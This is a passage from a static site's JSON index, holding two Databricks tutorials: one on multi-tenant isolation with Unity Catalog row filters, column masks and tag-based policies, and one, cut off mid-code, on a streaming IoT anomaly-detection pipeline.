2026","externalUrl":null,"permalink":"/tags/lakehouse-monitoring/","section":"Tags","summary":"","title":"Lakehouse-Monitoring","type":"tags"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/tags/multi-tenancy/","section":"Tags","summary":"","title":"Multi-Tenancy","type":"tags"},{"content":"You\u0026rsquo;re building a SaaS analytics platform. Fifty customers, each with their own data, each expecting isolation. The naive approach is one table per tenant. That works until you have 200 tenants and 50 dimension tables each, and you\u0026rsquo;re managing 10,000 tables with identical schemas, each needing its own grants, its own ETL pipeline, and its own monitoring.\nThe alternative is multi-tenancy on shared tables. One physical orders table with a tenant_id column. One customers table. One pipeline. The security layer ensures tenant A never sees tenant B\u0026rsquo;s rows, and PII columns are masked based on the caller\u0026rsquo;s role.\nUnity Catalog makes this viable with row filters and column masks. These aren\u0026rsquo;t views that someone can bypass by querying the underlying table \u0026ndash; they\u0026rsquo;re enforced at the engine level, on every query, regardless of how the table is accessed.\nThis article builds the entire stack: tenant isolation with row filters, PII masking with column masks, attribute-based access control using groups and tags, and the audit trail to prove it works.\nArchitecture # flowchart TB subgraph Users[\"Tenant Users\"] U1[\"Acme Corp user\"] U2[\"Globex user\"] U3[\"Platform Admin\"] end subgraph UC[\"Unity Catalog\"] RF[\"Row Filter(tenant isolation)\"] CM[\"Column Mask(PII protection)\"] GR[\"Groups(tenant_acme, tenant_globex,data_ops, platform_admins)\"] end subgraph Tables[\"Shared Physical Tables\"] T1[\"shared.orders\"] T2[\"shared.customers\"] end U1 --\u003e GR U2 --\u003e GR U3 --\u003e GR GR --\u003e RF \u0026 CM RF --\u003e T1 \u0026 T2 CM --\u003e T1 \u0026 T2 style RF fill:#e74c3c,color:white style CM fill:#3498db,color:white style GR fill:#2ecc71,color:white The security model has three components:\nRow filters \u0026ndash; SQL functions that resolve the caller\u0026rsquo;s tenant membership and filter rows accordingly Column masks \u0026ndash; SQL functions that redact or hash PII based on the caller\u0026rsquo;s role Groups \u0026ndash; the mapping between users and their tenant/role attributes No views, no per-tenant tables, no application-layer filtering that someone can forget to apply.\nStep 1: Set Up the Multi-Tenant Schema # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 CREATE CATALOG IF NOT EXISTS saas_platform; CREATE SCHEMA IF NOT EXISTS saas_platform.shared; CREATE SCHEMA IF NOT EXISTS saas_platform.security; -- Shared orders table CREATE TABLE IF NOT EXISTS saas_platform.shared.orders ( order_id STRING, tenant_id STRING, customer_id STRING, customer_email STRING, customer_phone STRING, product STRING, amount DOUBLE, order_date DATE, region STRING ) USING DELTA; -- Shared customers table CREATE TABLE IF NOT EXISTS saas_platform.shared.customers ( customer_id STRING, tenant_id STRING, full_name STRING, email STRING, phone STRING, ssn STRING, tier STRING, region STRING, created_at TIMESTAMP ) USING DELTA; Insert sample data for multiple tenants:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 -- Acme Corp data INSERT INTO saas_platform.shared.orders VALUES (\u0026#39;ORD-001\u0026#39;, \u0026#39;acme\u0026#39;, \u0026#39;AC-100\u0026#39;, \u0026#39;alice@acme.com\u0026#39;, \u0026#39;+1-555-0101\u0026#39;, \u0026#39;Widget Pro\u0026#39;, 299.99, \u0026#39;2026-04-01\u0026#39;, \u0026#39;US-WEST\u0026#39;), (\u0026#39;ORD-002\u0026#39;, \u0026#39;acme\u0026#39;, \u0026#39;AC-101\u0026#39;, \u0026#39;bob@acme.com\u0026#39;, \u0026#39;+1-555-0102\u0026#39;, \u0026#39;Widget Basic\u0026#39;, 99.99, \u0026#39;2026-04-02\u0026#39;, \u0026#39;US-EAST\u0026#39;), (\u0026#39;ORD-003\u0026#39;, \u0026#39;acme\u0026#39;, \u0026#39;AC-102\u0026#39;, \u0026#39;carol@acme.com\u0026#39;, \u0026#39;+1-555-0103\u0026#39;, \u0026#39;Widget Enterprise\u0026#39;, 999.99, \u0026#39;2026-04-03\u0026#39;, \u0026#39;EU-WEST\u0026#39;); -- Globex data INSERT INTO saas_platform.shared.orders VALUES (\u0026#39;ORD-004\u0026#39;, \u0026#39;globex\u0026#39;, \u0026#39;GX-200\u0026#39;, \u0026#39;dave@globex.io\u0026#39;, \u0026#39;+44-20-7946-0958\u0026#39;, \u0026#39;Gadget X\u0026#39;, 450.00, \u0026#39;2026-04-01\u0026#39;, \u0026#39;EU-WEST\u0026#39;), (\u0026#39;ORD-005\u0026#39;, \u0026#39;globex\u0026#39;, \u0026#39;GX-201\u0026#39;, \u0026#39;eve@globex.io\u0026#39;, \u0026#39;+44-20-7946-0959\u0026#39;, \u0026#39;Gadget Y\u0026#39;, 750.00, \u0026#39;2026-04-02\u0026#39;, \u0026#39;APAC\u0026#39;); -- Initech data INSERT INTO saas_platform.shared.orders VALUES (\u0026#39;ORD-006\u0026#39;, \u0026#39;initech\u0026#39;, \u0026#39;IN-300\u0026#39;, \u0026#39;frank@initech.net\u0026#39;, \u0026#39;+1-555-0201\u0026#39;, \u0026#39;Tool Alpha\u0026#39;, 150.00, \u0026#39;2026-04-01\u0026#39;, \u0026#39;US-WEST\u0026#39;), (\u0026#39;ORD-007\u0026#39;, \u0026#39;initech\u0026#39;, \u0026#39;IN-301\u0026#39;, \u0026#39;grace@initech.net\u0026#39;, \u0026#39;+1-555-0202\u0026#39;, \u0026#39;Tool Beta\u0026#39;, 350.00, \u0026#39;2026-04-03\u0026#39;, \u0026#39;US-EAST\u0026#39;); -- Customer data INSERT INTO saas_platform.shared.customers VALUES (\u0026#39;AC-100\u0026#39;, \u0026#39;acme\u0026#39;, \u0026#39;Alice Johnson\u0026#39;, \u0026#39;alice@acme.com\u0026#39;, \u0026#39;+1-555-0101\u0026#39;, \u0026#39;123-45-6789\u0026#39;, \u0026#39;gold\u0026#39;, \u0026#39;US-WEST\u0026#39;, current_timestamp()), (\u0026#39;GX-200\u0026#39;, \u0026#39;globex\u0026#39;, \u0026#39;Dave Chen\u0026#39;, \u0026#39;dave@globex.io\u0026#39;, \u0026#39;+44-20-7946-0958\u0026#39;, \u0026#39;987-65-4321\u0026#39;, \u0026#39;platinum\u0026#39;, \u0026#39;EU-WEST\u0026#39;, current_timestamp()), (\u0026#39;IN-300\u0026#39;, \u0026#39;initech\u0026#39;, \u0026#39;Frank Miller\u0026#39;, \u0026#39;frank@initech.net\u0026#39;, \u0026#39;+1-555-0201\u0026#39;, \u0026#39;456-78-9012\u0026#39;, \u0026#39;silver\u0026#39;, \u0026#39;US-WEST\u0026#39;, current_timestamp()); Step 2: Create Groups for Tenant Mapping # Groups are the bridge between users and tenant access. Each tenant gets a group. Roles get separate groups.\nDatabricks does not support CREATE GROUP or ALTER GROUP SQL statements. Groups are managed via the SCIM API (or synced from your IdP). Use the Databricks SDK or REST API as shown below. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from databricks.sdk import WorkspaceClient w = WorkspaceClient() # Create tenant groups for tenant in [\u0026#34;tenant_acme\u0026#34;, \u0026#34;tenant_globex\u0026#34;, \u0026#34;tenant_initech\u0026#34;]: w.groups.create(display_name=tenant) # Create role groups for role in [\u0026#34;platform_admins\u0026#34;, \u0026#34;data_ops\u0026#34;]: w.groups.create(display_name=role) # Add users to groups (replace with your actual usernames) def add_user_to_group(group_name: str, user_email: str): groups = list(w.groups.list(filter=f\u0026#39;displayName eq \u0026#34;{group_name}\u0026#34;\u0026#39;)) users = list(w.users.list(filter=f\u0026#39;userName eq \u0026#34;{user_email}\u0026#34;\u0026#39;)) if groups and users: w.groups.patch( groups[0].id, operations=[{ \u0026#34;op\u0026#34;: \u0026#34;add\u0026#34;, \u0026#34;path\u0026#34;: \u0026#34;members\u0026#34;, \u0026#34;value\u0026#34;: [{\u0026#34;value\u0026#34;: users[0].id}] }] ) add_user_to_group(\u0026#34;tenant_acme\u0026#34;, \u0026#34;acme_analyst@yourcompany.com\u0026#34;) add_user_to_group(\u0026#34;tenant_globex\u0026#34;, \u0026#34;globex_analyst@yourcompany.com\u0026#34;) add_user_to_group(\u0026#34;platform_admins\u0026#34;, \u0026#34;admin@yourcompany.com\u0026#34;) add_user_to_group(\u0026#34;data_ops\u0026#34;, \u0026#34;admin@yourcompany.com\u0026#34;) Step 3: Row Filters for Tenant Isolation # Row filters are SQL functions that return TRUE for rows the caller is allowed to see. The function has access to current_user() and is_account_group_member().\n1 2 3 4 5 6 7 8 9 10 -- Row filter: only show rows for the caller\u0026#39;s tenant CREATE OR REPLACE FUNCTION saas_platform.security.tenant_filter(tenant_id STRING) RETURNS BOOLEAN RETURN -- Platform admins see everything is_account_group_member(\u0026#39;platform_admins\u0026#39;) OR -- Tenant users see only their tenant\u0026#39;s rows is_account_group_member(concat(\u0026#39;tenant_\u0026#39;, tenant_id)); Apply the filter to the tables:\n1 2 3 4 5 6 7 8 9 -- Apply row filter to orders ALTER TABLE saas_platform.shared.orders SET ROW FILTER saas_platform.security.tenant_filter ON (tenant_id); -- Apply row filter to customers ALTER TABLE saas_platform.shared.customers SET ROW FILTER saas_platform.security.tenant_filter ON (tenant_id); Now test it:\n1 2 3 4 5 6 7 8 9 10 11 -- As an acme_analyst user: SELECT current_user(), count(*) FROM saas_platform.shared.orders; -- Returns: acme_analyst@yourcompany.com, 3 -- As a globex_analyst user: SELECT current_user(), count(*) FROM saas_platform.shared.orders; -- Returns: globex_analyst@yourcompany.com, 2 -- As a platform_admin user: SELECT current_user(), count(*) FROM saas_platform.shared.orders; -- Returns: admin@yourcompany.com, 7 The filter is invisible to the caller. They query the table normally and only see their rows. There\u0026rsquo;s no WHERE tenant_id = 'acme' they need to remember. The engine enforces it.\nStep 4: Column Masks for PII Protection # Column masks transform column values based on the caller\u0026rsquo;s role. The data_ops group sees raw values. Everyone else sees masked versions.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 -- Mask email: show first char + domain, hash the rest CREATE OR REPLACE FUNCTION saas_platform.security.mask_email(email STRING) RETURNS STRING RETURN CASE WHEN is_account_group_member(\u0026#39;data_ops\u0026#39;) THEN email ELSE regexp_replace(email, \u0026#39;(.).*@\u0026#39;, \u0026#39;\\\\1***@\u0026#39;) END; -- Mask phone: show last 4 digits CREATE OR REPLACE FUNCTION saas_platform.security.mask_phone(phone STRING) RETURNS STRING RETURN CASE WHEN is_account_group_member(\u0026#39;data_ops\u0026#39;) THEN phone ELSE concat(\u0026#39;***-\u0026#39;, right(phone, 4)) END; -- Mask SSN: always mask for non-data_ops, show only last 4 CREATE OR REPLACE FUNCTION saas_platform.security.mask_ssn(ssn STRING) RETURNS STRING RETURN CASE WHEN is_account_group_member(\u0026#39;data_ops\u0026#39;) THEN ssn ELSE concat(\u0026#39;***-**-\u0026#39;, right(ssn, 4)) END; Apply masks to columns:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 -- Orders table ALTER TABLE saas_platform.shared.orders ALTER COLUMN customer_email SET MASK saas_platform.security.mask_email; ALTER TABLE saas_platform.shared.orders ALTER COLUMN customer_phone SET MASK saas_platform.security.mask_phone; -- Customers table ALTER TABLE saas_platform.shared.customers ALTER COLUMN email SET MASK saas_platform.security.mask_email; ALTER TABLE saas_platform.shared.customers ALTER COLUMN phone SET MASK saas_platform.security.mask_phone; ALTER TABLE saas_platform.shared.customers ALTER COLUMN ssn SET MASK saas_platform.security.mask_ssn; Test the masks:\n1 2 3 -- As a regular tenant user (not in data_ops): SELECT customer_id, email, phone, ssn FROM saas_platform.shared.customers; 1 2 customer_id email phone ssn AC-100 a***@acme.com ***-0101 ***-**-6789 1 2 3 -- As a data_ops user: SELECT customer_id, email, phone, ssn FROM saas_platform.shared.customers; 1 2 customer_id email phone ssn AC-100 alice@acme.com +1-555-0101 123-45-6789 Step 5: Attribute-Based Access Control with Tags # For more complex policies, use Unity Catalog tags as attributes. Tags let you attach metadata to columns and build policy logic that references those tags.\n1 2 3 4 5 6 7 8 9 10 11 12 -- Tag sensitive columns ALTER TABLE saas_platform.shared.customers ALTER COLUMN email SET TAGS (\u0026#39;sensitivity\u0026#39; = \u0026#39;pii\u0026#39;); ALTER TABLE saas_platform.shared.customers ALTER COLUMN phone SET TAGS (\u0026#39;sensitivity\u0026#39; = \u0026#39;pii\u0026#39;); ALTER TABLE saas_platform.shared.customers ALTER COLUMN ssn SET TAGS (\u0026#39;sensitivity\u0026#39; = \u0026#39;highly_restricted\u0026#39;); ALTER TABLE saas_platform.shared.customers ALTER COLUMN tier SET TAGS (\u0026#39;sensitivity\u0026#39; = \u0026#39;internal\u0026#39;); Query the information schema to discover what\u0026rsquo;s sensitive:\n1 2 3 4 5 6 7 8 9 10 11 12 -- Find all PII columns across the catalog SELECT table_catalog, table_schema, table_name, column_name, tag_name, tag_value FROM system.information_schema.column_tags WHERE tag_name = \u0026#39;sensitivity\u0026#39; AND tag_value IN (\u0026#39;pii\u0026#39;, \u0026#39;highly_restricted\u0026#39;) ORDER BY table_name, column_name This is policy-as-code. Instead of manually tracking which columns are sensitive in a spreadsheet, the tags are attached to the columns themselves. Auditors can query the information schema to verify that all PII columns have masks applied.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 -- Compliance check: PII columns without masks SELECT ct.table_name, ct.column_name, ct.tag_value AS sensitivity_level, CASE WHEN cm.function_name IS NOT NULL THEN \u0026#39;MASKED\u0026#39; ELSE \u0026#39;UNMASKED\u0026#39; END AS mask_status FROM system.information_schema.column_tags ct LEFT JOIN system.information_schema.column_masks cm ON ct.table_catalog = cm.table_catalog AND ct.table_schema = cm.table_schema AND ct.table_name = cm.table_name AND ct.column_name = cm.column_name WHERE ct.tag_name = \u0026#39;sensitivity\u0026#39; AND ct.tag_value IN (\u0026#39;pii\u0026#39;, \u0026#39;highly_restricted\u0026#39;) ORDER BY mask_status, ct.table_name Any row in this query where mask_status = 'UNMASKED' is a compliance gap that needs to be fixed.\nStep 6: Prove the Isolation Works # Security that isn\u0026rsquo;t tested isn\u0026rsquo;t security. Here\u0026rsquo;s how to verify tenant isolation end-to-end.\nCross-Tenant Query Test # 1 2 3 4 5 -- Execute as acme user: try to see globex data -- (This should return 0 rows, not an error) SELECT * FROM saas_platform.shared.orders WHERE tenant_id = \u0026#39;globex\u0026#39;; -- Returns: 0 rows (the filter excludes them before the WHERE) The important point: the row filter runs before the user\u0026rsquo;s WHERE clause. Even if someone explicitly queries for another tenant\u0026rsquo;s tenant_id, they get nothing. There\u0026rsquo;s no error message that leaks the existence of other tenants.\nAggregation Leak Test # 1 2 3 -- Can a tenant infer how many other tenants exist? SELECT count(DISTINCT tenant_id) FROM saas_platform.shared.orders; -- Returns: 1 (only their own tenant_id is visible) Filter Pushdown Verification # Row filters should be pushed down to the scan level for performance. Verify with EXPLAIN:\n1 2 3 EXPLAIN EXTENDED SELECT * FROM saas_platform.shared.orders WHERE region = \u0026#39;US-WEST\u0026#39;; Look for the filter function in the scan plan. If it appears at the scan level (not as a post-filter), the engine is pruning rows early, which means full table scans don\u0026rsquo;t pay the cost of reading every tenant\u0026rsquo;s data.\nAudit Trail # 1 2 3 4 5 6 7 8 9 10 11 -- Who accessed what, and did the filter apply? SELECT user_identity.email, request_params.commandText, event_time, response.status_code FROM system.access.audit WHERE action_name = \u0026#39;commandSubmit\u0026#39; AND request_params.commandText LIKE \u0026#39;%shared.orders%\u0026#39; ORDER BY event_time DESC LIMIT 50 1 2 3 4 5 6 7 8 9 10 11 -- Aggregate: per-tenant query patterns SELECT user_identity.email, DATE(event_time) AS query_date, COUNT(*) AS query_count FROM system.access.audit WHERE action_name = \u0026#39;commandSubmit\u0026#39; AND request_params.commandText LIKE \u0026#39;%saas_platform.shared%\u0026#39; AND event_time \u0026gt;= current_date() - 30 GROUP BY user_identity.email, DATE(event_time) ORDER BY query_date DESC, query_count DESC Scaling to Hundreds of Tenants # Automated Group Provisioning # With SCIM sync from your IdP, tenant groups are created automatically when you onboard a new tenant:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 # Example: onboard a new tenant programmatically from databricks.sdk import WorkspaceClient w = WorkspaceClient() def onboard_tenant(tenant_id: str, admin_email: str): \u0026#34;\u0026#34;\u0026#34;Create tenant group and add initial admin user.\u0026#34;\u0026#34;\u0026#34; group_name = f\u0026#34;tenant_{tenant_id}\u0026#34; # Create group group = w.groups.create(display_name=group_name) # Add user to group user = w.users.list(filter=f\u0026#39;userName eq \u0026#34;{admin_email}\u0026#34;\u0026#39;) user_list = list(user) if user_list: w.groups.patch( group.id, operations=[{ \u0026#34;op\u0026#34;: \u0026#34;add\u0026#34;, \u0026#34;path\u0026#34;: \u0026#34;members\u0026#34;, \u0026#34;value\u0026#34;: [{\u0026#34;value\u0026#34;: user_list[0].id}] }] ) print(f\u0026#34;Tenant {tenant_id} onboarded with group {group_name}\u0026#34;) return group onboard_tenant(\u0026#34;newcorp\u0026#34;, \u0026#34;admin@newcorp.com\u0026#34;) The row filter function (tenant_filter) automatically works for the new tenant because it uses concat('tenant_', tenant_id) \u0026ndash; no filter update needed.\nPerformance at Scale # Row filters add latency to every query. With 200 tenants, the is_account_group_member() check needs to evaluate group membership for the caller. In practice:\nGroup membership is cached per session, so the cost is paid once Filter pushdown means the engine prunes rows at the scan level, not after reading everything Partition by tenant_id if queries are consistently single-tenant: 1 2 3 4 5 -- Partition by tenant_id for scan pruning ALTER TABLE saas_platform.shared.orders SET TBLPROPERTIES (\u0026#39;delta.autoOptimize.optimizeWrite\u0026#39; = \u0026#39;true\u0026#39;); OPTIMIZE saas_platform.shared.orders ZORDER BY (tenant_id); Z-ordering by tenant_id clusters each tenant\u0026rsquo;s data together on disk, so the row filter prunes at the file level rather than the row level.\nGotchas # Row filter vs. view performance. Row filters run inside the engine and benefit from predicate pushdown and file pruning. Dynamic views (WHERE is_account_group_member(...)) achieve similar results but can\u0026rsquo;t be pushed down the same way. For performance-critical multi-tenant workloads, row filters are the better choice.\nNested function limitations. Row filter and column mask functions can\u0026rsquo;t call other UDFs that reference table data. They can use built-in functions (current_user(), is_account_group_member(), IF, CASE) but not SELECT subqueries. If your policy logic is too complex for a single expression, simplify or precompute the mapping into the groups.\nGrant inheritance with metastore bindings. When a table has a row filter, SELECT privilege on the table still goes through the filter. But MODIFY privilege bypasses row filters for writes. Be careful who has write access \u0026ndash; a user with MODIFY can insert rows for any tenant, and the filter only protects reads.\nTesting in development. You can\u0026rsquo;t easily impersonate another user to test filters. Options: (1) create test users in each tenant group, (2) use EXECUTE AS in notebooks (limited support), or (3) write integration tests that connect as different service principals. Option 3 is the most reliable for CI/CD.\nColumn mask + aggregation. Masks apply before aggregation. If you AVG(ssn) with a mask that returns ***-**-XXXX, you get nonsense. Make sure masked columns aren\u0026rsquo;t used in numeric aggregations downstream. This is a design constraint, not a bug.\nConclusion # Multi-tenancy on a shared lakehouse doesn\u0026rsquo;t require table-per-tenant sprawl. Unity Catalog\u0026rsquo;s row filters enforce tenant isolation at the engine level \u0026ndash; invisible to the caller, impossible to bypass through SQL. Column masks handle PII protection with role-based logic. Tags turn your column metadata into a queryable policy system.\nThe pattern scales because onboarding a new tenant means creating a group, not cloning tables. The filter function resolves group membership dynamically. The audit trail proves isolation to compliance teams without custom logging.\nThis is how you build a data platform for 200 tenants with the operational overhead of managing one set of tables.\n","date":"20 April 2026","externalUrl":null,"permalink":"/posts/databricks-multi-tenant-abac-platform/","section":"Posts","summary":"","title":"Multi-Tenant Data Platform: Row Filters, Column Masks, and ABAC on Unity Catalog","type":"posts"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/tags/open-protocol/","section":"Tags","summary":"","title":"Open-Protocol","type":"tags"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/posts/","section":"Posts","summary":"","title":"Posts","type":"posts"},{"content":"","date":"20 April 2026","externalUrl":null,"permalink":"/tags/pyspark/","section":"Tags","summary":"","title":"Pyspark","type":"tags"},{"content":"Your IoT sensors are streaming thousands of readings per second. Somewhere in that flood, a compressor is overheating, a valve is stuck, a coolant line is losing pressure. By the time someone notices in a batch report tomorrow morning, the damage is done.\nThis is the kind of problem that Structured Streaming on Databricks was built for. Not the toy wordcount demos from conference talks \u0026ndash; actual stateful processing that tracks per-device baselines and fires alerts the moment something drifts outside normal range.\nIn this challenge, we\u0026rsquo;ll build a complete anomaly detection pipeline: simulated IoT ingestion, stateful z-score computation per device, alert deduplication with Delta merge, and pipeline monitoring using system tables. Everything runs on Databricks, everything is production-grade, and you can follow along in a notebook.\nThe Problem # You have hundreds of IoT sensors reporting temperature, pressure, and vibration metrics. Normal operating ranges vary per device \u0026ndash; a compressor runs hotter than an air handler. Hardcoded thresholds don\u0026rsquo;t work because each device has its own baseline.\nWhat you need is a per-device rolling statistical model that adapts to each sensor\u0026rsquo;s normal behavior and flags deviations in real time. A rolling z-score does exactly this: it tracks the mean and standard deviation over a window and flags any reading that falls outside a configurable number of standard deviations.\nArchitecture # The pipeline has four stages:\nflowchart LR subgraph Ingest[\"1. Ingestion\"] K[\"Simulated Sensor Stream(Auto Loader / Kafka)\"] end subgraph Process[\"2. Stateful Processing\"] S[\"mapGroupsWithStateRolling z-score per device\"] end subgraph Sink[\"3. Alert Sink\"] D[\"Delta Tableanomaly_alerts\"] end subgraph Monitor[\"4. Monitoring\"] M[\"System Tablesstreaming.query_progress\"] end K --\u003e S --\u003e D --\u003e M style K fill:#3498db,color:white style S fill:#e74c3c,color:white style D fill:#2ecc71,color:white style M fill:#f39c12,color:white Step 1: Simulate the Sensor Stream # In production you\u0026rsquo;d read from Kafka or an Event Hub. For this challenge, we generate synthetic data using Auto Loader on a landing volume. This gives us the same readStream interface without external dependencies.\nFirst, create the landing zone and target tables:\n1 2 3 4 CREATE CATALOG IF NOT EXISTS iot_demo; CREATE SCHEMA IF NOT EXISTS iot_demo.streaming; CREATE VOLUME IF NOT EXISTS iot_demo.streaming.sensor_landing; Now generate some synthetic sensor data. We\u0026rsquo;ll write JSON files to the volume to simulate arriving batches:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import json import random import time from datetime import datetime, timezone DEVICES = [f\u0026#34;sensor_{i:03d}\u0026#34; for i in range(20)] METRICS = [\u0026#34;temperature\u0026#34;, \u0026#34;pressure\u0026#34;, \u0026#34;vibration\u0026#34;] def generate_batch(n_records=100, anomaly_pct=0.05): \u0026#34;\u0026#34;\u0026#34;Generate a batch of sensor readings. A small percentage are anomalous (value shifted by 4-6 sigma).\u0026#34;\u0026#34;\u0026#34; records = [] for _ in range(n_records): device = random.choice(DEVICES) metric = random.choice(METRICS) # Normal baselines per metric type baselines = { \u0026#34;temperature\u0026#34;: (72.0, 3.0), \u0026#34;pressure\u0026#34;: (14.7, 0.5), \u0026#34;vibration\u0026#34;: (0.02, 0.005), } mean, std = baselines[metric] if random.random() \u0026lt; anomaly_pct: # Inject anomaly: shift value 4-6 sigma away shift = random.choice([-1, 1]) * random.uniform(4, 6) * std value = mean + shift else: value = random.gauss(mean, std) records.append({ \u0026#34;device_id\u0026#34;: device, \u0026#34;metric\u0026#34;: metric, \u0026#34;value\u0026#34;: round(value, 4), \u0026#34;event_time\u0026#34;: datetime.now(timezone.utc).isoformat(), }) return records # Write 10 batches of 100 records each volume_path = \u0026#34;/Volumes/iot_demo/streaming/sensor_landing\u0026#34; for batch_num in range(10): records = generate_batch(100, anomaly_pct=0.05) file_path = f\u0026#34;{volume_path}/batch_{batch_num:04d}.json\u0026#34; with open(file_path, \u0026#34;w\u0026#34;) as f: for r in records: f.write(json.dumps(r) + \u0026#34;\\n\u0026#34;) time.sleep(0.5) print(f\u0026#34;Wrote 10 batches to {volume_path}\u0026#34;) Step 2: Ingest with Auto Loader # Auto Loader (cloudFiles) picks up new files as they land. We parse the JSON and add a processing timestamp:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pyspark.sql import functions as F from pyspark.sql.types import ( StructType, StructField, StringType, DoubleType, TimestampType ) sensor_schema = StructType([ StructField(\u0026#34;device_id\u0026#34;, StringType(), False), StructField(\u0026#34;metric\u0026#34;, StringType(), False), StructField(\u0026#34;value\u0026#34;, DoubleType(), False), StructField(\u0026#34;event_time\u0026#34;, StringType(), False), ]) raw_stream = ( spark.readStream .format(\u0026#34;cloudFiles\u0026#34;) .option(\u0026#34;cloudFiles.format\u0026#34;, \u0026#34;json\u0026#34;) .option(\u0026#34;cloudFiles.schemaLocation\u0026#34;, \u0026#34;/Volumes/iot_demo/streaming/sensor_landing/_schema\u0026#34;) .schema(sensor_schema) .load(\u0026#34;/Volumes/iot_demo/streaming/sensor_landing/\u0026#34;) .withColumn(\u0026#34;event_time\u0026#34;, F.to_timestamp(\u0026#34;event_time\u0026#34;)) .withWatermark(\u0026#34;event_time\u0026#34;, \u0026#34;5 minutes\u0026#34;) ) The watermark is important. It tells Spark \u0026ldquo;I don\u0026rsquo;t expect data older than 5 minutes\u0026rdquo; which allows it to prune state for devices that stop reporting. Without a watermark, state grows unbounded and your checkpoint balloons.\nStep 3: Stateful Anomaly Detection with mapGroupsWithState # This is where the real work happens. For each device+metric combination, we maintain a rolling window of the last N readings. On every micro-batch, we compute the mean and standard deviation, then check if the new reading is anomalous.\nDefine the State # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from dataclasses import dataclass from typing import List @dataclass class DeviceState: \u0026#34;\u0026#34;\u0026#34;Rolling window state for one device+metric pair.\u0026#34;\u0026#34;\u0026#34; readings: List[float] # last N values count: int sum_val: float sum_sq: float def add(self, value: float, window_size: int = 100) -\u0026gt; \u0026#34;DeviceState\u0026#34;: self.readings.append(value) self.count += 1 self.sum_val += value self.sum_sq += value * value # Evict oldest if window exceeded while len(self.readings) \u0026gt; window_size: old = self.readings.pop(0) self.count -= 1 self.sum_val -= old self.sum_sq -= old * old return self @property def mean(self) -\u0026gt; float: return self.sum_val / self.count if self.count \u0026gt; 0 else 0.0 @property def std(self) -\u0026gt; float: if self.count \u0026lt; 2: return 0.0 variance = (self.sum_sq / self.count) - (self.mean ** 2) return max(variance, 0.0) ** 0.5 def z_score(self, value: float) -\u0026gt; float: if self.std == 0: return 0.0 return (value - self.mean) / self.std The State Update Function # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pyspark.sql.streaming import GroupState, GroupStateTimeout import json WINDOW_SIZE = 100 Z_THRESHOLD = 3.5 def detect_anomalies(key, readings, state: GroupState): \u0026#34;\u0026#34;\u0026#34; Called per (device_id, metric) group in each micro-batch. Maintains rolling stats in state, emits alerts for anomalous readings. \u0026#34;\u0026#34;\u0026#34; device_id, metric = key # Recover or initialize state if state.exists: device_state = DeviceState(**json.loads(state.get)) else: device_state = DeviceState(readings=[], count=0, sum_val=0.0, sum_sq=0.0) alerts = [] for row in readings: value = row.value event_time = row.event_time z = device_state.z_score(value) device_state.add(value, WINDOW_SIZE) # Only flag after we have enough data for meaningful stats if device_state.count \u0026gt;= 10 and abs(z) \u0026gt; Z_THRESHOLD: alerts.append(( device_id, metric, value, round(z, 3), device_state.mean, device_state.std, event_time, f\u0026#34;{device_id}_{metric}_{event_time}\u0026#34;, # alert_id )) # Persist state state.update(json.dumps(device_state.__dict__)) # Set timeout so stale devices get cleaned up state.setTimeoutDuration(\u0026#34;30 minutes\u0026#34;) return iter(alerts) Wire It Up # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pyspark.sql.types import ( StructType, StructField, StringType, DoubleType, FloatType, TimestampType ) alert_schema = StructType([ StructField(\u0026#34;device_id\u0026#34;, StringType()), StructField(\u0026#34;metric\u0026#34;, StringType()), StructField(\u0026#34;value\u0026#34;, DoubleType()), StructField(\u0026#34;z_score\u0026#34;, FloatType()), StructField(\u0026#34;rolling_mean\u0026#34;, DoubleType()), StructField(\u0026#34;rolling_std\u0026#34;, DoubleType()), StructField(\u0026#34;event_time\u0026#34;, TimestampType()), StructField(\u0026#34;alert_id\u0026#34;, StringType()), ]) alerts_stream = ( raw_stream .groupBy(\u0026#34;device_id\u0026#34;, \u0026#34;metric\u0026#34;) .mapGroupsWithState( detect_anomalies, outputStructType=alert_schema, stateStructType=StringType(), timeoutConf=GroupStateTimeout.ProcessingTimeTimeout, ) ) Why mapGroupsWithState instead of window aggregations? Window-based approaches (tumbling, sliding) compute stats over fixed time intervals. But anomaly detection needs a per-device rolling history that persists across windows. mapGroupsWithState gives you full control over what\u0026rsquo;s stored, how long it lives, and when it\u0026rsquo;s evicted. Step 4: Write Alerts to Delta with Deduplication # Anomalies can span multiple micro-batches (a sensor stuck at a high value keeps triggering). We use MERGE to deduplicate:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # Create the target table spark.sql(\u0026#34;\u0026#34;\u0026#34; CREATE TABLE IF NOT EXISTS iot_demo.streaming.anomaly_alerts ( alert_id STRING, device_id STRING, metric STRING, value DOUBLE, z_score FLOAT, rolling_mean DOUBLE, rolling_std DOUBLE, event_time TIMESTAMP, detected_at TIMESTAMP ) USING DELTA PARTITIONED BY (metric) TBLPROPERTIES ( \u0026#39;delta.enableChangeDataFeed\u0026#39; = \u0026#39;true\u0026#39; ) 